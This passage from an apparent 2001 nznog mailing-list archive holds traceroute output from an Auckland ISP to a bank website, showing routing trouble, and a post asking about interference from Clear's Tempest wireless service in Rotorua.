ms 5 203.96.111.218 (203.96.111.218) 11.624 ms 11.308 ms 11.742 ms 6 * 202-37-237-133.dds.xtra.co.nz (202.37.237.133) 87.635 ms 106.486 ms ^C noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (210.55.168.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.678 ms 0.607 ms 0.834 ms 2 cs2-e4-4-acld.auckland.clix.net.nz (203.167.224.55) 0.776 ms 0.646 ms 0.613 ms 3 ba2-fe0-1-0-acld.auckland.clix.net.nz (203.97.9.177) 0.855 ms 1.131 ms 0.718 ms 4 xtra.ape.net.nz (192.203.154.60) 3.019 ms 2.365 ms 1.725 ms 5 203.96.111.218 (203.96.111.218) 42.603 ms 41.431 ms 47.360 ms 6 203.96.111.217 (203.96.111.217) 60.746 ms 66.191 ms 78.594 ms 7 203.96.111.218 (203.96.111.218) 154.869 ms 159.711 ms * ^C noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (210.55.168.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.672 ms 0.634 ms 1.264 ms 2 cs2-e4-4-acld.auckland.clix.net.nz (203.167.224.55) 0.895 ms 0.643 ms 0.652 ms 3 ba2-fe0-1-0-acld.auckland.clix.net.nz (203.97.9.177) 1.304 ms 1.809 ms 1.085 ms 4 xtra.ape.net.nz (192.203.154.60) 2.856 ms 2.155 ms 1.760 ms 5 202-37-237-229.dds.xtra.co.nz (202.37.237.229) 70.480 ms 57.187 ms 36.798 ms 6 *^C noc% ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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CLEAR Net Tempest
by Neil 16 Aug '01

16 Aug '01

Hi All, Has anyone else had any problems with Clear's 802.11 wireless internet service (http://www.clear.net.nz/services/tempest.html) as a source of interference? They have just done a rollout in Rotorua and totally stoped 3 separate wireless networks that had been running together nicely for the past year or two. Clear have told me that Rotorua is the only place that this has happened in and are being very slow to do anything about it so if this has happened to you could you let me know. Neil Fincham Integral LTD.

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